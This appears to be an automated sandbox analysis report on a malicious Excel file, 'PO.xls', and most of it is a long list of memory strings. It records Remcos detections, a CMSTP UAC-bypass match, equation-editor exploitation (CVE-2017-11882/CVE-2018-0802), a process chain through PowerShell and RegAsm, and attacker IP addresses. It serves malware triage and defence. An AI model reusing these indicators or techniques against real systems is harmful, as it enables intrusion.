Windows Analysis Report
PO.xls

Machine Learning detection for sample

Source: Yara match	File source: 16.2.RegAsm.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.powershell.exe.6a480d8.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.powershell.exe.6a480d8.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000010.00000002.1027741834.000000000239E000.00000004.00000010.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000002.1027592173.0000000000891000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000002.1027400715.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.474061036.0000000003389000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.476480463.00000000065E1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 4036, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 3044, type: MEMORYSTR
Source: Yara match	File source: C:\ProgramData\remcos\logs.dat, type: DROPPED

Source: PO.xls

Joe Sandbox ML: detected

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 16_2_004338C8 CryptAcquireContextA,CryptGenRandom,CryptReleaseContext,

16_2_004338C8

Source: powershell.exe, 0000000E.00000002.474061036.0000000003389000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: -----BEGIN PUBLIC KEY-----

memstr_a62cc2cc-e

Exploits

Yara detected UAC Bypass using CMSTP

Source: Yara match	File source: 16.2.RegAsm.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.powershell.exe.6a480d8.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.powershell.exe.6a480d8.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000010.00000002.1027400715.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.474061036.0000000003389000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.476480463.00000000065E1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 4036, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 3044, type: MEMORYSTR

Office equation editor establishes network connection

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

Network connect: IP: 104.168.32.148 Port: 80

Office equation editor starts processes (likely CVE 2017-11882 or CVE-2018-0802)

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

Process created: C:\Windows\SysWOW64\wscript.exe

Contains functionality to bypass UAC (CMSTPLUA)

Source: ~WRF{91BCF8F6-C2FD-4749-855D-C3013FC0B30C}.tmp.5.dr	Stream path '_1788925055/\x1CompObj' : ...................F....Microsoft Equation 3.0....
Source: ~WRF{91BCF8F6-C2FD-4749-855D-C3013FC0B30C}.tmp.5.dr	Stream path '_1788925059/\x1CompObj' : ...................F....Microsoft Equation 3.0....
Source: ~WRF{91BCF8F6-C2FD-4749-855D-C3013FC0B30C}.tmp.5.dr	Stream path '_1788925080/\x1CompObj' : ...................F....Microsoft Equation 3.0....
Source: ~WRF{91BCF8F6-C2FD-4749-855D-C3013FC0B30C}.tmp.5.dr	Stream path '_1788925081/\x1CompObj' : ...................F....Microsoft Equation 3.0....
Source: ~WRF{91BCF8F6-C2FD-4749-855D-C3013FC0B30C}.tmp.5.dr	Stream path '_1788925084/\x1CompObj' : ...................F....Microsoft Equation 3.0....

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

Process created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding

Privilege Escalation

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 16_2_00407538 _wcslen,CoGetObject,

16_2_00407538

Source: unknown	HTTPS traffic detected: 104.21.64.88:443 -> 192.168.2.22:49166 version: TLS 1.0
Source: unknown	HTTPS traffic detected: 172.67.179.215:443 -> 192.168.2.22:49167 version: TLS 1.0
Source: unknown	HTTPS traffic detected: 172.67.179.215:443 -> 192.168.2.22:49168 version: TLS 1.0
Source: unknown	HTTPS traffic detected: 185.199.108.133:443 -> 192.168.2.22:49173 version: TLS 1.0

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll

Document exploit detected (process start blacklist hit)

Source: unknown	HTTPS traffic detected: 172.67.179.215:443 -> 192.168.2.22:49163 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.64.88:443 -> 192.168.2.22:49165 version: TLS 1.2

Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetMemberRefProps source: powershell.exe, 0000000E.00000002.476129104.0000000006300000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000E.00000002.474061036.00000000042A9000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetHandler source: powershell.exe, 0000000E.00000002.476129104.0000000006300000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000E.00000002.474061036.00000000042A9000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.dotnet.pdb source: powershell.exe, 0000000E.00000002.473517059.00000000009F0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.473399421.0000000000339000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumTypeRefs source: powershell.exe, 0000000E.00000002.476129104.0000000006300000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000E.00000002.474061036.00000000042A9000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetParent source: powershell.exe, 0000000E.00000002.476129104.0000000006300000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000E.00000002.474061036.00000000042A9000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.ApplyEditAndContinue source: powershell.exe, 0000000E.00000002.476129104.0000000006300000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000E.00000002.474061036.00000000042A9000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: System.Collections.Generic.IEnumerator<dnlib.DotNet.Pdb.PdbScope>.Current source: powershell.exe, 0000000E.00000002.476129104.0000000006300000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000E.00000002.474061036.00000000042A9000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineModuleRef source: powershell.exe, 0000000E.00000002.476129104.0000000006300000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000E.00000002.474061036.00000000042A9000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetNameFromToken source: powershell.exe, 0000000E.00000002.476129104.0000000006300000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000E.00000002.474061036.00000000042A9000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DeleteFieldMarshal source: powershell.exe, 0000000E.00000002.476129104.0000000006300000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000E.00000002.474061036.00000000042A9000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumMembers source: powershell.exe, 0000000E.00000002.476129104.0000000006300000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000E.00000002.474061036.00000000042A9000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.FindField source: powershell.exe, 0000000E.00000002.476129104.0000000006300000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000E.00000002.474061036.00000000042A9000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DeleteClassLayout source: powershell.exe, 0000000E.00000002.476129104.0000000006300000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000E.00000002.474061036.00000000042A9000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.IsValidToken source: powershell.exe, 0000000E.00000002.476129104.0000000006300000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000E.00000002.474061036.00000000042A9000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.Merge source: powershell.exe, 0000000E.00000002.476129104.0000000006300000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000E.00000002.474061036.00000000042A9000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.FindMemberRef source: powershell.exe, 0000000E.00000002.476129104.0000000006300000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000E.00000002.474061036.00000000042A9000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetParamProps source: powershell.exe, 0000000E.00000002.476129104.0000000006300000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000E.00000002.474061036.00000000042A9000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetParamProps source: powershell.exe, 0000000E.00000002.476129104.0000000006300000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000E.00000002.474061036.00000000042A9000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.GetSaveSize source: powershell.exe, 0000000E.00000002.476129104.0000000006300000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000E.00000002.474061036.00000000042A9000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.FindTypeRef source: powershell.exe, 0000000E.00000002.476129104.0000000006300000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000E.00000002.474061036.00000000042A9000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.ResetEnum source: powershell.exe, 0000000E.00000002.476129104.0000000006300000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000E.00000002.474061036.00000000042A9000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetMethodProps source: powershell.exe, 0000000E.00000002.476129104.0000000006300000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000E.00000002.474061036.00000000042A9000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumProperties source: powershell.exe, 0000000E.00000002.476129104.0000000006300000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000E.00000002.474061036.00000000042A9000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumMembersWithName source: powershell.exe, 0000000E.00000002.476129104.0000000006300000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000E.00000002.474061036.00000000042A9000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetCustomAttributeValue source: powershell.exe, 0000000E.00000002.476129104.0000000006300000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000E.00000002.474061036.00000000042A9000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumMethodImpls source: powershell.exe, 0000000E.00000002.476129104.0000000006300000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000E.00000002.474061036.00000000042A9000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineCustomAttribute source: powershell.exe, 0000000E.00000002.476129104.0000000006300000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000E.00000002.474061036.00000000042A9000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineEvent source: powershell.exe, 0000000E.00000002.476129104.0000000006300000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000E.00000002.474061036.00000000042A9000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetCustomAttributeByName source: powershell.exe, 0000000E.00000002.476129104.0000000006300000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000E.00000002.474061036.00000000042A9000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineMethod source: powershell.exe, 0000000E.00000002.476129104.0000000006300000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000E.00000002.474061036.00000000042A9000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.TranslateSigWithScope source: powershell.exe, 0000000E.00000002.476129104.0000000006300000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000E.00000002.474061036.00000000042A9000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineUserString source: powershell.exe, 0000000E.00000002.476129104.0000000006300000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000E.00000002.474061036.00000000042A9000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetTypeSpecFromToken source: powershell.exe, 0000000E.00000002.476129104.0000000006300000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000E.00000002.474061036.00000000042A9000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.Save source: powershell.exe, 0000000E.00000002.476129104.0000000006300000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000E.00000002.474061036.00000000042A9000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetPermissionSetProps source: powershell.exe, 0000000E.00000002.476129104.0000000006300000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000E.00000002.474061036.00000000042A9000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.CountEnum source: powershell.exe, 0000000E.00000002.476129104.0000000006300000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000E.00000002.474061036.00000000042A9000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumMethodSemantics source: powershell.exe, 0000000E.00000002.476129104.0000000006300000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000E.00000002.474061036.00000000042A9000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetNativeCallConvFromSig source: powershell.exe, 0000000E.00000002.476129104.0000000006300000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000E.00000002.474061036.00000000042A9000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumMethods source: powershell.exe, 0000000E.00000002.476129104.0000000006300000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000E.00000002.474061036.00000000042A9000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumFields source: powershell.exe, 0000000E.00000002.476129104.0000000006300000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000E.00000002.474061036.00000000042A9000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetTypeRefProps source: powershell.exe, 0000000E.00000002.476129104.0000000006300000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000E.00000002.474061036.00000000042A9000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: +dnlib.DotNet.Pdb.PdbWriter+<GetScopes>d__17K source: powershell.exe, 0000000E.00000002.476129104.0000000006300000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000E.00000002.474061036.00000000042A9000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetSigFromToken source: powershell.exe, 0000000E.00000002.476129104.0000000006300000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000E.00000002.474061036.00000000042A9000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumTypeSpecs source: powershell.exe, 0000000E.00000002.476129104.0000000006300000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000E.00000002.474061036.00000000042A9000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.dotnet.pdb.dss source: powershell.exe, 0000000E.00000002.473517059.00000000009F0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.473399421.0000000000339000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.CloseEnum source: powershell.exe, 0000000E.00000002.476129104.0000000006300000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000E.00000002.474061036.00000000042A9000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetModuleRefProps source: powershell.exe, 0000000E.00000002.476129104.0000000006300000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000E.00000002.474061036.00000000042A9000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SaveToMemory source: powershell.exe, 0000000E.00000002.476129104.0000000006300000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000E.00000002.474061036.00000000042A9000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.pdb source: powershell.exe, 0000000E.00000002.476129104.0000000006300000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000E.00000002.474061036.00000000042A9000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb source: powershell.exe, 0000000E.00000002.476129104.0000000006300000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000E.00000002.474061036.00000000042A9000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineTypeRefByName source: powershell.exe, 0000000E.00000002.476129104.0000000006300000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000E.00000002.474061036.00000000042A9000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetScopeProps source: powershell.exe, 0000000E.00000002.476129104.0000000006300000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000E.00000002.474061036.00000000042A9000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.FindMember source: powershell.exe, 0000000E.00000002.476129104.0000000006300000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000E.00000002.474061036.00000000042A9000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetPropertyProps source: powershell.exe, 0000000E.00000002.476129104.0000000006300000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000E.00000002.474061036.00000000042A9000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumParams source: powershell.exe, 0000000E.00000002.476129104.0000000006300000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000E.00000002.474061036.00000000042A9000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.MergeEnd source: powershell.exe, 0000000E.00000002.476129104.0000000006300000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000E.00000002.474061036.00000000042A9000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss source: powershell.exe, 0000000E.00000002.476129104.0000000006300000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000E.00000002.474061036.00000000042A9000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetEventProps source: powershell.exe, 0000000E.00000002.476129104.0000000006300000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000E.00000002.474061036.00000000042A9000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumCustomAttributes source: powershell.exe, 0000000E.00000002.476129104.0000000006300000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000E.00000002.474061036.00000000042A9000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetFieldProps source: powershell.exe, 0000000E.00000002.476129104.0000000006300000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000E.00000002.474061036.00000000042A9000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumModuleRefs source: powershell.exe, 0000000E.00000002.476129104.0000000006300000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000E.00000002.474061036.00000000042A9000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: System.Collections.Generic.IEnumerator<dnlib.DotNet.Pdb.PdbScope>.get_Current source: powershell.exe, 0000000E.00000002.476129104.0000000006300000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000E.00000002.474061036.00000000042A9000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetCustomAttributeProps source: powershell.exe, 0000000E.00000002.476129104.0000000006300000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000E.00000002.474061036.00000000042A9000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetFieldProps source: powershell.exe, 0000000E.00000002.476129104.0000000006300000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000E.00000002.474061036.00000000042A9000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineParam source: powershell.exe, 0000000E.00000002.476129104.0000000006300000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000E.00000002.474061036.00000000042A9000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetClassLayout source: powershell.exe, 0000000E.00000002.476129104.0000000006300000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000E.00000002.474061036.00000000042A9000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DeleteToken source: powershell.exe, 0000000E.00000002.476129104.0000000006300000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000E.00000002.474061036.00000000042A9000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumPermissionSets source: powershell.exe, 0000000E.00000002.476129104.0000000006300000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000E.00000002.474061036.00000000042A9000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumUnresolvedMethods source: powershell.exe, 0000000E.00000002.476129104.0000000006300000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000E.00000002.474061036.00000000042A9000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineNestedType source: powershell.exe, 0000000E.00000002.476129104.0000000006300000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000E.00000002.474061036.00000000042A9000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Managed source: powershell.exe, 0000000E.00000002.476129104.0000000006300000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000E.00000002.474061036.00000000042A9000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: +dnlib.DotNet.Pdb.PdbWriter+<GetScopes>d__17 source: powershell.exe, 0000000E.00000002.476129104.0000000006300000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000E.00000002.474061036.00000000042A9000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetRVA source: powershell.exe, 0000000E.00000002.476129104.0000000006300000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000E.00000002.474061036.00000000042A9000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetModuleFromScope source: powershell.exe, 0000000E.00000002.476129104.0000000006300000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000E.00000002.474061036.00000000042A9000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineMethodImpl source: powershell.exe, 0000000E.00000002.476129104.0000000006300000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000E.00000002.474061036.00000000042A9000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefinePinvokeMap source: powershell.exe, 0000000E.00000002.476129104.0000000006300000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000E.00000002.474061036.00000000042A9000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetClassLayout source: powershell.exe, 0000000E.00000002.476129104.0000000006300000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000E.00000002.474061036.00000000042A9000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineSecurityAttributeSet source: powershell.exe, 0000000E.00000002.476129104.0000000006300000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000E.00000002.474061036.00000000042A9000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineMemberRef source: powershell.exe, 0000000E.00000002.476129104.0000000006300000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000E.00000002.474061036.00000000042A9000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetPermissionSetProps source: powershell.exe, 0000000E.00000002.476129104.0000000006300000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000E.00000002.474061036.00000000042A9000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetTypeDefProps source: powershell.exe, 0000000E.00000002.476129104.0000000006300000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000E.00000002.474061036.00000000042A9000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineProperty source: powershell.exe, 0000000E.00000002.476129104.0000000006300000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000E.00000002.474061036.00000000042A9000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.FindTypeDefByName source: powershell.exe, 0000000E.00000002.476129104.0000000006300000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000E.00000002.474061036.00000000042A9000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetModuleProps source: powershell.exe, 0000000E.00000002.476129104.0000000006300000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000E.00000002.474061036.00000000042A9000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetFieldRVA source: powershell.exe, 0000000E.00000002.476129104.0000000006300000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000E.00000002.474061036.00000000042A9000.00000004.00000800.00020000.00000000.sdmp
